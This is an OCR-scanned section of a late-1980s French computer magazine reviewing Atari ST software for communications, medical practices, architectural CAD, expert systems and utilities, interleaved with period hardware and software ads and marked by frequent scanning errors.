Editeur: Logiciels du Jaguar 

Distributeur: 16/32 

Prix: de 940 F ht à 1990 F ht 

Servrct-kxieua, référence n a 97 



laas 






Éditeur: Pioge.au 
Disaibuteur : Progeda 
Prix: 2 065 F ht 
S&vice-lecteuis, référence n" 98 





LEST N'EST 
PLUS SOLITAIRE 

Le ST demeure avant tout une machine monoposte. Ce qui 

n'exclut pas la communication par modem ou 

Minitel, avec une offre de logiciels aujourd'hui très 

performante. Quant aux réseaux, ils ne sont qu'en phase 

de démarrage. 



En un an, les outils de communica- 
tion ont largement évolué sur le ST. 
Si l'émulation de terminaux a été im- 
médiatement disponible a attrayante 
(VT52, VT100, etc.), les réseaux à base 
de machines ST ont mis plus longtemps 
à apparaître. Il existe désormais trois 
systèmes opérationnels, A-Net, OS/9 
etldris. 

A-Net se branche sur la prise Midi 
pour le partage de plusieurs périphéri- 
ques. Son avantage majeur est de tour- 
na sous Gem. En revanche, seul le 
logiciel de gestion de cabinet médical 
Médi-ST en exploite les possibilités. Le 
distributeur d'A-Net, Multipoint, pro- 
pose pourtant ses routines à tous les 
développeurs. Sur tous les autres logi- 
ciels, il est indispensable que chacun 
travaille sut des fichiers distincts. A-Net 
utilise un poste maître (au minimum un 
1040) relié à ses esclaves par de la fibre 
optique. La distante maximale entre les 
noeuds est de 40 m, et la vitesse de 
transfert de 31 250 bauds, ce qui est 
assez lent. Sur le disque dur, seule la 
partition D, dont la taille maximale est 
de 16 Mo, est partageable. L'impossibi- 
lité de vetrouillet des fichiers et la 
lenteur des transmissions dédient ce 
réseau à des utilisations légères, pour des 
collaborateurs travaillant ensemble en 
toute confiance. 

A l'opposé, les autres produits sont 
des systèmes d'exploitation alternatifs 
n'usant pas de l'environnement Gem. 
OS/9 et Idris sont des Operating Sys- 
tem apparentés Unix, multitâches et 



multi-utilisateurs. Aux Etats-Unis, 
Idris compte déjà des logiciels tels le 
traitement de texte Lex (multilangue) et 
de PAO (Crystal Document Manager). 
Idris est distribué en France par Cosmic. 
OS/9 dispose d'un catalogue d'appli- 



cations très riche ; il est distribué par 
Microdata. 

Hors ces réseaux, les logiciels de 
communication traditionnels se déve- 
loppent. Pour le vidéotexte qui reste 
l'apanage de la France, Emulcom a 
désormais un concurrent de taille : 
Impératel distribué par Imaco. En effet, 
l'émulation Minitel n'est qu'accessoire, 
car ce logiciel est avant tout un ser- 
veur/composeur monovoie dont la vet- 
sion grand public avoisine seulement les 
2 500 F. Impératel est d'une puissance 
et d'une facilité rares pour créer un 
serveur : gestion des arborescences avec 
macrocommandes, possibilité de modi- 
fier le serveur à distance, récupération 
d'images Degas et Néochrome, outils 
de téléchargement. 

Une version multivoie sera bientôt 
disponible ainsi que des applications de 



gestion de stocks et de commandes. En 
revanche, l 'émulation Minitel {vidéotex 
et ASCII) souffre du mime défaut 
qu 'Emulcom : la trop grande téduction 
de l'écran Minitel sur celui du ST qui 
nuit à la lisibilité en haute résolution. 
De son côté, Emulcom devrait connaître 
une nouvelle version développant les 
possibilités de programmation. Aux ex- 
trémités du genre, on trouve un autre 
serveur monovoie, Cervin, d'Informati- 
que & Nature, pour seulement 1 000 F 
et Servojet, de H&H Communication 
qui, dans sa version 64 voies, est pro- 
posé pour environ 42 000 F ht. 

Les logiciels dédiés à l'émulation de 
terminaux ou de serveurs évoluent aussi 
à grande vitesse, mais ils sont surtout le 
fait des Anglo-Saxons, car il n'exisre en 
France qu'un serveur ASCII : Calva- 
com. Le domaine public est riche en 



î de communication. On retien- 
dra Bmodem pour sa simplicité et son 
ouverture et Uniterm pour l'implémen- 
tation directe du protocole Kermit et ses 
possibilités de programmation. 

Pour les logiciels du commerce, 
Flash, donr la version 1.52 améliore le 
développement de procédures, reste le 
plus performant. En revanche, un nou- 
veau venu aux Etats-Unis devrait s'im- 
poser comme le plus puissant. En effet, 
STtalk offre des possibilités exactement 
comparables à celles de Mactell 3, le 
meilleur de la catégorie sur Macintosh. 
En attendant son arrivée en France, 
Habacom (Haba ) et K-Comm (Kuma 
Software) restent des produits simples et 
performants. 
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ENTRE CADUCEE ET 
STÉTHOSCOPE 



L'ordinateur entre chez les médecins. A l'aise sur 

le bureau d'un débutant, le ST dispose d'un 

très bon programme de gestion de cabinet médical, Eudimed, 

un produit complètement rodé. 



Les médecins emploient à longueur 
de journée deux accessoires indis- 
pensables : le stéthoscope et le stylo. Le 
premier est irremplaçable. Le second ne 
l'est pas, d'autant qu'il ne sert pas 
uniquement à remplir des ordonnances, 
mais également à mettre à jour en 
permanence le fichier des patients, pour 
suivre chaque malade avec le maximum 
d'efficacité. L'otdinateur semble tout à 
fait adapté pour remplir cette fonction. 
Mais beaucoup de praridens demeurent 
rédcents, pour des taisons de principe, à 
cause du coût de l'investissement maïs 
aussi par appréhension de la machine. 
L'Atari balaie en partie les deux derniè- 
res objections. Medi ST a été l'un des 
premiers logiciels verticaux apparus sur 
le ST. 

Le docteur Richard Bermond, asso- 
cié avec le docteur François Lame, a 
acheté Medî ST à la fin de l'année 
1986. Installé en 1971, c'est un méde- 
cin d'expérience qui a largement usé du 
stylo et des petites fiches cartonnées. 
Aujourd'hui, le 1040 trouve tout natu- 
rellement sa place sur un coin de son 
bureau. < J 'étais intéressé par l'informa- 
tique, mais je trouvais les prix excessifs. 
Je suivais l'évolution du marché et, 
quand Medi ST est apparu, nous 
l'avons rapidement acheté, mon associé 
et moi. En nous posant pourtant quel- 
ques questions sur la pétennité de la 
marque Atari. Aujourd'hui, je suis ras- 
suré. > Le cabinet est équipé de deux 
1040, avec disque dur et imprimante, 
et d'un 520 pour le secrétariat. Chaque 
médecin travaille de façon indépen- 
dante, sur son propre fichier. En cas de 



remplacement de l'un par l'autre, pen- 
dant des vacances, le dossier du patient 
est récupéré sur disquette. 

Eudimed utilise à fond la souris et le 
multifenêtrage. Lots de l'appel du dos- 
sier d'un malade, les fenêtres s'ouvrent 
automatiquement sur une disposition 
ptésélectionnée. Par défaut, les deux 
fenêtres « antécédents > et < traite- 
ment > occupent l'ensemble de l'écran. 
Le médecin dispose également d'autres 
fenêtres : « biologie >, pour conserver les 
éléments de surveillance, < certificats », 
livrée avec les formules des certificats 
usuels (analyse de sang, arrêt de travail, 
etc.), « aide-mémoire », un classeur 
pour noter, enregistre! des lettres lypes, 
etc. er < annuaire téléphonique >, dispo- 
nible à tout moment. 

Au début de la consultation, le 
médecin appelle le dossier comme il 
cherchait auparavant la fiche cartonnée 
dans son tiroir. En cas de poursuite d'un 
traitement habituel, la nouvelle ordon- 
nance est rédigée en quelques secondes, 
par une simple copie qui se passe de 
l'intermédiaire d'un presse-papiers. 
Medi ST comporte également un aide- 
mémoire sur les médicaments qui réduit 
le nombre d'appels au Vidal. 

< L'ordinateur me fait gagnet du 
temps, remarque le docteur Bermond. 
je peux ainsi rédiger de façon plus 
complète les dossiers. L'ensemble des 
touches étant programmables avec Al- 
ternate et avec Control, j'ai pu rédiger 
des formules toutes faites qui m'aident 
à n'utiliser le clavier qu'au stria mini- 
mum. > 

A l'usage, Medi ST se révèle bien 




conçu et adapté aux tâches quotidiennes 
des médecins. Il est également très 
rapide dans ses recherches, par le char- 
gement d'index en mémoire vive lors 
du lancement. Si un renseignement est 
demandé par téléphone pendant une 
consultation, la recherche du dossier ne 
demande que quelques secondes. Un 
autre aspect positif est l'impression des 
ordonnances et des actes de façon enfin 
lisible par tous ! 

Quanr aux patients, ils ont dans 
l'ensemble très bien accepté l'irruption 
du moniteur à côté des accessoires 
habituels. < La clientèle a mieux réagi 
que je ne le pensais, remarque le docteur 
Bermond. Grâce à la souris, je n'ai que 
très peu recours au clavier. Et je profite 
du moment où le patient se rhabille 
pour compléter sa fiche. Dans un 
deuxième temps, mon assistante saisit 
tous les commentaires sur son 520 et 
me remet la disquette. Je me suis posé 
quelques questions concernant la confi- 
dentialité des informations. Les fichiers 
sont protégés par un mot de passe au 
moins aussi efficace que la dé qui ferme 
un tiroir de bureau. Je sauvegarde ttè 
régulièrement le contenu du disque dur, 
mais je n'ai eu pour l'instant aucun 
ennui, si l'on excepte l'apparition de 
temps à autre de bombes qui m'obli- 
gent à réinitialiser l'ensemble. En revan- 



che, l'installation ne s'est pas déroulée 
sans douleur. > De fait, le distributeur 
de l'époque, aujourd'hui disparu, se 
contentait de livrer le produit, sans 
consacrer quelques heures à l'apprentis- 
sage de la machine et du logiciel. Une 
légèreté qui a fait perdre beaucoup de 
temps et provoqué de nombreux appels 
téléphoniques, souvent pour des détails. 
Aujourd'hui, le docteur Bermond reste 
en contact avec Biolog, le nouvel édi- 
teur/distributeur et reçoit les améliora- 
tions du produit en cours. 

► HIPPOCRATE 
LE NOUVEAU VENU 

Medi ST possède un module de 
comptabilité qui se contente d'effec- 
tuet les totaux journaliers et mensuels 
des recettes en ventilant selon le type 
de l'acte et le mode de paiement. Un 
véritable logiciel de comptabilité est 
proposé séparément. Il possède 
l'avantage d'aller chercher directe- 
ment les recettes sur Medi ST. Le 
docteur Bermond lui reproche sa pré- 
sentation des tableaux à l'impression : 
les feuilles doivent être collées manuel- 
lement bout à bout pour constituer un 
tableau complet. Et il trouve l'Atari 
un peu encombrant sut son bureau. . . 

Medi ST existe aujoutd'hui dans 



une version réseau (avec A-Net) pour 
partager imprimante et disque dur. 
Un autre logiciel de gestion de cabinet 
médical a vu le jour il y a peu de 
temps. Hippocrate reprend le principe 
d'un fichier patient avec, pour chaque 
dossier, les fiches des antécédents, 
observations, prescriptions antérieu- 
res, résultats des examens, et dispose 
également d'un système d'édition 
simplifiée d'ordonnance. La souris est 
largement mise à contribution à l'inté- 
rieur d'un système de choix multiples 
paramétté à l'avance en fonction des 
besoins. Hippocrate dispose par ail- 
leurs de fichiers avec planches d'anato- 
mie, tableaux médicaux avec classe- 
ment et utilisation. 

PATRICE DESMEDT 



Editeur/distributeur: Biolog Systèmes 
PrixA 130 F ht (version monoposte), 
2 530Fht par poste (version réseau) 

Se mec -ha ans référence n" 99 



Editeur/distributeur : NSI diffusion 
Prix : 4 2 08 F ht ; avec module de 
comptabilité : 5 895 F ht 
Formation de deux jours : 1 400 F ht 
Assistance téléphonique : 582 F ht 
Strvia-Lau-utt référence rf 100 



L'ARCHITECTURE SANS 
CRAYON ! 



Arkey est à ce jour le seul logiciel de DAO entièrement dédié à l'architecture sur Atari. 

Un produit bien rodé qui soulage ses utilisateurs d'une partie des tâches 

ingrates. Pierre Lacour, architecte indépendant, est l'un d'eux. 




Charette >. Les architectes ont 
souvent ce mot à la bouche, 
au moment de bouder un projet dans 
une ambiance fébrile, à coups de nuits 
blanches et de café noir. Et tes < archi > 
de gratter, gratter. Parfois même au sens 
propre, la lame de rasoir à la main, pour 
corriger une erreur sur le calque. La 
phase de conception terminée, le temps 
consacré à l'élaboration des plans n'est 
pas négligeable. Et gare aux modifica- 
tions ! Pour faciliter ce travail de Ro- 
main, l'utilisation de l'informatique est 
évidente. 

Pourtant, l'ordinateur ne s'implante 



que lentement dans les cabinets d'archi- 
tectes, bien qu'il existe un choix de 
produits performants sur plusieurs stan- 
dards. Raison principale : le coût du 
matériel. Depuis bientôt deux ans, la 
solution Atari offre pourtant un ensem- 
ble de bon niveau à un prix vraiment 



Le logiciel Arkey, édité par Meca- 
norma Technologies, est une adaptation 
pour micro-ordinateur d' Arcos, un pro- 
duit développé pour un mini Stride. 
Dès son lancement, en 1986, il profitait 
de l'expérience de son aîné et n'a cessé 
de s'améliorer au fil des versions. 



Pierre Lacour, diplômé de l'Ecole 
spéciale d'architecture, travaille en indé- 
pendant depuis deux ans. Une 
commande pour la conception de kios- 
ques à journaux devant utiliser obliga- 
toirement des modules standardisés le 
pousse à acheter Arkey. < Ce logiciel sait 
très bien compter, explique-t-il. Il est 
très utile pour établir un catalogue 
complet de toutes les pièces nécessaires, 
très nombreuses dans le cas d'un kios- 
que, puisque l'on pousse le souci du 
détail jusqu'à répertorier le nombre de 
gorges nécessaires pour le présentoir. 
Mais il est certain que j'ai également 
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choisi Arkey pour son prix. Les autres 
solutions étaient trop chères pour moi. > 
Arkey est un logiciel de dessin vecto- 
riel, où l'on travaille d'abord en deux 
dimensions, avant d'ajouter la troi- 
sième. L'architecte commence donc par 
le plan ou 1 élévation (la façade), puis 
introduit des cotes de hauteur ou de 
profondeur, positives ou négatives par 
rapport au plan ou à la façade de 
référence. Cela oblige à une certaine 



ble, alors que manuellement on 
peut se laisser aller à ses petites habitu- 
des. > Mais une fois le plan terminé, ce 
qui exige un temps à peu près similaire 
à celui d'un tracé à la main, les modifi- 
cations s'apparentent à un jeu d'enfant, 
en comparaison d'un grattage sur cal- 
que. < Jusqu'à présent, j'ai surtout 
travaillé à la rénovation de pavillons 
anciens. La réhabilitation, c'est ce qu'il y 
a de pire, et Arkey s'en sort bien. Sur un 




gymnastique intellectuelle. « Avec ce 
système, la création des fenêtres est assez 
délicate, remarque Pierre Lacour. Mais 
l'approche d'Arkey reste voisine des 
habitudes de travail des architectes. > 

Au début d'un projet, l'utilisation de 
l'informatique est lourde. < II faut 
expliquer beaucoup plus de choses à 
l'ordinateur qu'à roi-même, et il est 
impératif de respecter une méthode de 
travail stricte. La rationalisation est in- 



Édkeur : Mecanorma Technologies 
Distributeur :JCS Composants 
Prix : Arkey avec Arquant et Arcutil, 
23 500 Fht. Installation, une- 
demi-journée de formation et assistance 
téléphonique : 2 500 F ht. Stage de 
fotmation de 3 jours : 3 000 F ht. 
Service-lecteurs, référence if 101 



projet de nouvelle construction, le logi- 
ciel sera tout à fait efficace. > 

Pierre Latour apprécie particulière- 
ment la bonne mise en place des fonc- 
tions 2D, à l'exception de l'éloignement 
trop important des menus < Dessin > et 
< Option >. Cela semble un détail, mais 
les allers et retours enrre ces deux menus 
sont continuels. La mise en petspective 
est également réussie - et rapide - 
associée ou non à la fonction < faces 
cachées > , qui agit soit bloc par bloc, soit 
globalement. Mais, dans ce cas, le 
logiciel < se plante » s'il existe la 
moindre petite erreur. L'ordinateur ne 
souffre aucune approximation, alors 
que de petits écarts passent inaperçus 
lorsque l'architecte trace à la main. Le 
zoom est très puissant et pratiquement 
illimité, gtâce à la possibilité d'agrandis- 
sements successifs. 11 utilise la technique 
classique du passage en plein écran 



d'une portion sélectionnée du plan. La 
fonction « snapshot > est également très 
utile pour coupet et isoler une partie du 
plan. 

Au chapitre des critiques, on noteta 
la quasi-absence de commandes clavier 
- l'utilisation obligatoire de la souris se 
révèle fastidieuse à la longue - et celle, 
totale, de macrocommandes. 

Pour des raisons évidentes de défini- 
tion d'écran, Arkey n'existe qu'en ver- 
sion monochrome. Pierre Lacour vient 
pourtant d'acquérir un moniteur cou- 
leur, en même temps que le logiciel de 
création graphique couleur Spectrum. 
« La présentation du projet en perspec- 
tive ne me sert pas dans mon travail. 
Mais c'est un bon argument de vente, 
car le client comprend beaucoup plus 
facilement une vue en perspective qu un 
plan. Pout cela, l'apport de l'ordinateur 
est détetminant, puisqu'il permet de 
sortir facilement plusieurs vues du pro- 
jet. > Dans cette optique, les fichiets 
Arkey sont récupérés, après conversion, 
par Spectrum qui effectue la mise en 
couleurs. Si la définition pure y perd, 
l'apport de la couleut et les prouesses de 
Spectrum rendent la représentation très 
réaliste et attrayante. 

Pierre Lacour utilise une table rra- 
çanre au format A3, qui suffit pour 
réaliser des plans destinés à un dépôt de 
permis de construire. Par exemple, le 
plan d'un pavillon sur trois niveaux 
tient sur une seule feuille à l'échelle 
1/100*, et la construction est possible 
avec quelques feuilles A3, en utilisant 
l'échelle habituelle de l/50 c . L'habi- 
tude est cependant de travailler sur 
chantier en A0, pour n'utiliser qu'une 
seule feuille. Mecanorma effectue dans 
ce cas des impressions sur table traçante 
A0. Un service qui montre le suivi 
assuré par le distributeur. 

L'aide aux utilisateurs d'Arkey n'est 
pas un vain mot. Pierre Lacour a eu 
l'occasion de rencontrer des architectes 
utilisant des logiciels sur d'autres stan- 
dards. A la seule vue des performances 
pures, il ne regrette absolument pas son 
choix. 

PATRICE DESMEDT 




FRANCHISSEZ LA BARRE DES 640 K !!! 

Toute la puissance RAM utilisable, MEME SOUS DOS, de 640 K à 4 MB grâce à l'EMS intégré, 
...avec la carte AT-286 équipant les nouveaux PC/AT d'ABACUS COMPUTERS 
• la carte la plus rapide : 4 vitesses de 6 à lfi MHz (15.8 au Landmark test) 0/1 wait state 
compatibilité avec les logiciels les plus courants (Lotus, Windows, Open Access,-Xenix...) 

ABACUS AT-20/40/80 



Selon disque dur 20/40/80 MB • 2 sorties séries 
• 2 sorties parallèles • carte graphique HERCULES/CGA 
sélectable par SOFT • carte contrôleur 2 floppies, 2 disques durs 
• S slots d'extension dont 6 libres • horloge sauvegardée • 1 lecteur 
B"5 1.44 MB, 1 lecteur 1.2 MB japonais. 1 MB RAM (RAM de 100 nano- 
secondes), 128 K ROM (avec autotesl complet intégré) • 1 disque 
dur 20/40/80 MB, emplacement pour : coprocesseur arithmétique, 
p disque dur, système de sauvegarde interne. Clavier AZERTY 102 
touches, alimentation 200 W, boîtier luxe type baby AT avec touches 
RESET et TURBO, affichage digital de la vitesse, clef masquée par volet. 

2 ans de garantie 'assuré. 



p la France par les 



■a CGEE-AISTHOM 



ABACUS COMPUTERS VOUS OFFRE LES PORTABLES LES PLUS 
RAPIDES DU MARCHE!! 





ABACUS AT-20 LP 

Un portable LCD révolutionnaire !!! Le seulen France à avoir : 

• la vitesse : le plus rapide des AT-286 portables 4 vitesses de 6 à 

16 MHz 1 à 4 MB utilisables sous DOS, EMS intégré, OS/2 compatible 

"» parfaite lisibilité de l'écran 640 X 400 rétro-éclairé, HERCULES/CGA 



s temps d'accès, 




1 disque dur 20/40 MB autopark 40 

• 1 lecteur 1.44MB 3"5 

• 2 slots longs libres !!! 

• 1 clavier AZERTY 102 touches !!! 

• touches turbo et reset 
connexions à moniteur externe CGA/ Monochrome, raccordement externe à 

lecteur 1.2 MB 5*1/4. • 2 sorties séries 9 et 25 broches, I sortie parallèle, 

poids 8,5 kg, dimensions 24 X 41 x 21 cm, sac de transport gratuit. 
ABACUS AT-20 LP est un portable qui est en fait une véritable machine de 
bureau que vous emmènerez où vous voudrez... Si vous n'avez pas fini votre 
travail, emportez tout simplement l'ordinateur à la maison. 

Et enfin, un classique l'ABACUS AT20P version à moniteur cathodique bi- 
Eréquence intégré de l'ABACUS AT 20 (existe en version PC/XT). 

Couplés à un moniteur externe monochrome ou couleur tous nos portables sont en fait utilisables comme machines de 
bureau... Mêmes performances, portabilité en plus, une question de choix... Et sous peu un LAPTOP 6 Kg autonomie 
6 h. Et sous peu, également, une carte 386 20 MHz ultra-performante pourra équiper tous nos modèles 
ABACUS COMPUTERS peut vous offrir la solution PAO la plus économique, et vous propose pour votre gestion un logi- 
ciel de comptabilité/facture très performant, PLACON, servi par 3 niveaux d'assistance (téléphonique, télématique 'et 
gestion directe de l'écran de l'utilisateur) à un prix d'ami pour tout achat d'un système... 

ABACUS COMPUTERS DES MACHINES GARANTIES DEUX ANS* DANS TOUTE LA FRANCE PAR LE RESEAU CGEE-ALSTHOM 
Pour Lous renseignements écrire à ABACUS COMPUTERS, 15 rue Erard 75012 Paris - 8f 43 42 58 71) 

Nous recherchons des revendeurs régionaux dynamiques. 

AMIENS: PROFIL'S 22.92.13.56, CANNES: J.P. JOUBERf 93.99.02.88. CLERMONT-FERRAND : BRUN CONSULTANT 
73.31.20.80, DIJON: SOCOGEST 80.31.95.96, LYON: TINEL TELEMATIQUE 74.95.63 78 ORLEANS- SIP 38 72 1445 
PONT SAINTE-MARIE : MGR INFORMATIQUE 25.80.67.48, RENNES EE I I STRASBOURG ■ ARM 

INFORMATIQUE 88.30.09.09, VESOUL : FRANCHE COMTE INFORMATIQUE 84 75 01 18 
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UNE INTELLIGENCE BIEN 
PARTAGÉE 

La mode de l'intelligence artificielle touche aussi l'Atari. Les 

générateurs de systèmes experts de qualité se multiplient à des 

prix très bas, et tirent parti des capacités du Mega ST. 




Les générateurs de systèmes experts 
sur Atari comptent parmi les plus 
puissants du marché. La plupart des 
systèmes propesés peuvent utiliser jus- 
qu'à 4 Mo de mémoire vive et 40 Mo 
sur disques durs, en faisant appel à 
plusieurs partitions. De plus, les prix 
des générateurs et des applications se 
sont mis à la mode Atari : < le maxi- 
mum au moindre prix > ! L'Expert de 
MindSoft a été le premier générateur de 
systèmes experts sur Atari. Il constituait 
une bonne approche des SE, mais sa 
puissanced'ordreO+ était limitée, puis- 
qu'il ne pouvait accepta que 250 
règles. Il est pourtant resté longtemps 
un standard sur le ST, à peine concur- 
rencé par Athena de Pressimage. L'Ex- 
pert, dont la production est arrêtée, a été 
remplacé par Instant Expert Plus, un 
produit entièrement nouveau. 

► EDITEUR 
WANTED 

Mindsoft Instant Expert Plus fonc- 
tionne aussi bien sur compatibles PC, 
Mac ou Atari. Déjà commercialisé sur 
PC, il sera disponible sur Atari dès 
qu'il aura trouvé un éditeur, car 
MindSoft est trop occupée par son 
produit phare, Nexus, pour consacrer 
du temps à sa distribution. C'est 
dommage, car ce générateur de systè- 
mes experts possède des atouts intéres- 
sants, même s'il est moins puissant 
que Nexus. Ecrit en Modula 2, il 
présente la particularité d'associer des 
graphiques au raisonnement. En clair, 
on peut saisir des faits ou des expres- 
sions en cliquant sur un dessin, par 
exemple, et après passage dans la 
mouiinette du moteur d'inférence, dé- 
duire d'autres faits graphiques. Pour 
l'Atari, on imagine immédiatement 
avec quelle facilité on pourrait créer 
des jeux. Instant Expert permet de 
délimiter des zones d'une image et de 
leur associer des règles du type SI 
...ALORS. 

Le système manipule des proposi- 
tions (vraies, fausses ou inconnues), 
mais pas des prédicats (des faits varia- 



bles) . Les inconditionnels de la classifi- 
cation le considèrent donc comme ur 
générateur d'ordre 0+ . Il travaille en 
chaînage avant (partir d'une hypo- 
thèse et chercher une solution), chaî- 
nage arrière (partit de la solution et 
chercher à prouver sa validité) et peut 
même mixer les deux modes de dé- 
duction. 

Instant Expert Plus pourra être 
utilisé dans le domaine du diagnostic 
économique médical ou technique, 
mais aussi pour des petits systèmes 
d'analyse financière ou économique. 
L'idée de créer des jeux avec ce généra- 
teur trouvera sa véritable raison d'être 
si l'auteur se décide à vendre un 
runtime avec le programme. 

Inférence, une jeune société spécia- 
lisée dans l'IA, a présenté, après un 
lisp et un Prolog, Le Spécialiste. C'est 
un générateur de systèmes experts 
performant. De niveau l, il est capa- 
ble de créer des systèmes qui pourront 
< apprendre > tout seuls, et offre des 
fonctions très complètes : inclusion de 
graphisme, chaînage de plusieurs 
bases entre elles, etc. Son côté austère 
est son principal point faible. 

Arobace, en revanche, propose un 
générateur de systèmes experrs beau- 
coup plus convivial, programmable en 
langage naturel, et très bon marché 
(490 F). Ses capacités sont équivalen- 
tes à celles du Spécialiste (niveau 1, 
inclusion graphique, chaînage de plu- 
sieurs bases, emploi de facteurs de 
certitudes avec représentation graphi- 
que, quatre modes d'inférence, nom- 
bre théorique de règles illimité, etc.), 
avec l'avantage d'une utilisation sim- 
plifiée par une ergonomie très bien 
conçue et un vérificateur de logique. 
En outre, Arobace a mis en place un 
service de création de systèmes experts 
sur mesure. Un certain nombre d'ap- 
plications de type familial devraient 
prochainement voir le jour. 

Sur le terrain de l'intelligence artifi- 
cielle, l'Atari dispose désormais de 
logiciels performants même s'ils sont 
encore dans une phase de progression . 
THIERRY PLATON 



VAL-REX 

tout autour de 
rinformatique 




Micropact 
Standard 

un autre moyen 
pour simplifier la micro 

rTatlQUe. Toute l'informatique a por- 
tée de main. 

Le Micropact Standard s'adapte parfaite- 
ment à la gestuelle informatique, il intègre 
voire taille, votre position de travail assise 
ou debout avec un maximum de confort. 
Evolutif. Le MicropacÊ Standard gran- 
dit avec vos besoins grâce à ses multiples 
accessoires : plateaux avant, arrière, latéral, 
boîte à disquettes, panier àtistings...letout 
réglable selon votre volonté. 
L'informatique n'a jamais été aussi logique ! 

Compact. Moins de 0,5 itf au sol. 
Une telle économie de place dans le bureau, 
c'est un vrai luxe ! 

Mobile. Monté sur roulettes dont deux 
avec frein, le Micropact Standard se déplace 
d'un bureau à l'autre en toute sécurité ! 

-Cjejjant. Une architecture sobre, des 
plateaux beiges traites anti-reflets. Des ca- 
ches amovibles latéraux permettant de dissi- 
muler astucieusement les fils et les cables de 
raccordement dans les montants, font du 
Micropact Standard un meuble élégant qui 
s'intégre parfaitement dans le bureau. 
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ACCESSOIRES : 

L'INDISPENSABLE 

SUPERFLU 

Il suffit souvent d'un petit rien pour que l'utilisation d'un 

ordinateur soit plus agréable. Les utilitaires sont 

dédiés à cette tâche, pour accélérer 

les accès aux fichiers, < photographier > une partie de l'écran 

ou continuer de travailler pendant une impression. 

La majorité de ces programmes appartiennent 

au domaine public. Ils sont libres de droit et 

peuvent circuler gratuitement. 



LES ACCESSOIRES 
DE BUREAU 

De la calculatrice à l'agenda, du 
soapshotm disque virtuel, de l'horloge 
à l'automate, les accessoires de bureau 
du domaine public sont nombreux. Ces 
petits utilitaires sont directement acces- 
sibles depuis le bureau. 11 suffit qu'ils 
soient nommés ACC, et le Gem charge 
automatiquement les six premiers qu'il 
trouve sur une disquette (attention, un 
septième empêche un chargement cor- 
rect). Le fin du fin, Back-Pack, en 
propose pour sa part une dizaine sup- 
plémentaire. C'est un ensemble d'utili- 
taires comprenant une horloge, un 
agenda, un carnet de notes, une ma- 
chine à écrire, un tampon d'impression, 
un carnet d'adresses, un générateur de 
disques virtuels, un programme de 
configuration d'imprimante, etc. Celui- 
ci a l'avantage de n'occuper que la place 
d'un accessoire, mais des packs du 
même genre sont disponibles chez d'au- 
tres éditeurs (Cornerman de Michtron 
ou Quick Mind de MindSoft). Par 
définition, tous ces programmes pour- 
raient erre des accessoires. Malheureuse- 
ment, ceux-ci sont résidents en mémoire 
et occupent de la place. Il est donc 
impossible d'avoir des outils puissants. 
En revanche, on y accède immédiate- 



ment à partit de la plupart des logiciels 
utilisant une barre de menu. 

LESSWITCHERS 

Avec 4 Mo de mémoire vive, on peut 
loger bien plus qu'une application. Il 
existe donc des programmes qui font 
cohabiter plusieurs logiciels et permet- 
tent de basculer de l'un à l'autre. Les 
swkchers sont très utiles. Malheureuse- 
ment, ils ne fonctionnent pas toujours 
avec tous les programmes. Twist, le 
dernier-né de la catégorie, avait rem- 
placé K-Swich de Kuma Software. On 
attendait des miracles de ce produit qui 
basculait de manière éblouissante d'un 
écran IstWord vers un écran Degas. 
Hélas, quelques mois de pratique nous 
confirment que Twist n'est pas totale- 
ment au point. Il ne supporte pas les 
accessoires et exige d'importantes 
marges de sécurité en taille-mémoire. Il 
n'est donc réellement utilisable que sur 
les Mega ST. Il tend des services, mais 
une version 2 serait la bienvenue. 

US ÉMULATEURS 

Grâce aux émulateurs, il est possible 
de faire fonctionner sut l'Atari des 
logiciels conçus, à l'origine, pour d'au- 
tres machines. Il en existe deux catégo- 
ries : les gadgets pour les amateurs 



pour 975 f 

CIEL VOUS RÈGLE VOS COMPTES! 




1W 975 F ht. CIEL-COMPTA-GESTION met la comptabilité/gestion informatique à la portée du plus 
grand nombre d'utilisateurs. 

Plus de 3.000 logiciels vendus (Matra, General Electri 
Sony France.... PME-PMI. professions libérales, cabinets d'experts- 
sont la preuve de sa fiabilité. 

Avec sa puissance (nombre de comptes, d'écritures et de 
clients illimité...) CIEL-COMPTA-GESTION accomplit les 
fonctions suivantes : 

• Comptabilité générale • Gestion des commandes/ 
(avec brouillards de saisie), devis, 
auxiliaire et analytique, • Facturation, 
échéancier. « Gestion de stock. 

• Budget. 

Quelques heures suffisent, avec un manuel concis, pour faire m 
connaissance des multiples capacités de CIEL-COMPIA- V 
GESTION. Ensuite, fidèlement, sur votre PC, XT ou AT et PS à 
5 12 K minimum, il réglera vos comptes et, pour vous, se dépensera A 
sans compter. ( 
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LES LOGICIELS 

QUI DONNENT DES AILES 

A VOTRE ENTREPRISE. 
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(CPM, Apple H et Atari 800) et les 
vrais émulateurs. Amiga (Metacomco), 
comme son nom l'indique, émule les 
logiciels Amiga et ne fonctionne qu'avec 
un Blitter. Aladin et Magic Sac (Pacific 
Data) transforment le ST quasiment en 
un Macintosh 512. Longtemps sujets à 
polémique, ils tournent pourtant parfai- 
tement. Aladin est vendu prêt à l'em- 
ploi. Il oblige à transférer les logiciels 
Mac sur une disquette formatée par ses 
soins. Seuls ceux qui ne sont pas proté- 
gés sont donc utilisables. MagicSac doit 
être complété par les ROM du Mac 
512, ce qui constitue bien sûr un 
handicap. La version 2, présentée lors 
du dernier Comdex de Las Vegas, n'est 
pas encore disponible. Elle présente le 
grand avantage de lire directement 
n'importe quel logiciel Mac. 

PC-Ditto fonctionne avec presque 
tous les programmes mais, comme il 
s'agit d'un émulateur uniquement logi- 
ciel, le ralentissement du traitement est 
très net. Ainsi, l'Atari jouant les PC est 
aussi lent, voire plus lent qu'un vénéra- 
ble PC à 4,77 MH2 ! Pour l'utiliser 



pleinement, il faudra bien entendu 
connecter un lecteur de disquettes 
5 "1/4 ou employer plus simplement 
des disquettes PC en 3 " 1/2 . 

Au départ, les émulateurs PC et Mac 
semblaient intéressants pour accéder 
aux deux bibliothèques de logiciels. Cet 
argument est de moins en moins perti- 
nent, d'une part, à cause de la médio- 
crité de la vitesse de traitement et, 
d'autre part, grâce à l'augmentation 
rapide du nombre de logiciels sur ST et 
de leur qualité. En fait, ces émulateurs 
servent surtout à ceux qui ont la prati- 
que d'un logiciel et qui désirent garder 
leurs habitudes. 

LA.GESTION DES DISQUES 

Les utilitaires aident à copier, vérifier 
et formater les disquettes et à accélérer et 
sauvegarder les disques durs. Pour la 
copie de disquettes, rien ne vaut l'indis- 
pensable FastCopy (un domaine public 
de Martin Backshat). Le célèbre Pro- 
copy de Proco Product et le puissant 
Acopier de MegaSofr sont également 
utiles, même s'ils servent parfois à des 



fins inavouables. Pour copier les fichiers 
plus rapidement avec un lecteur de 
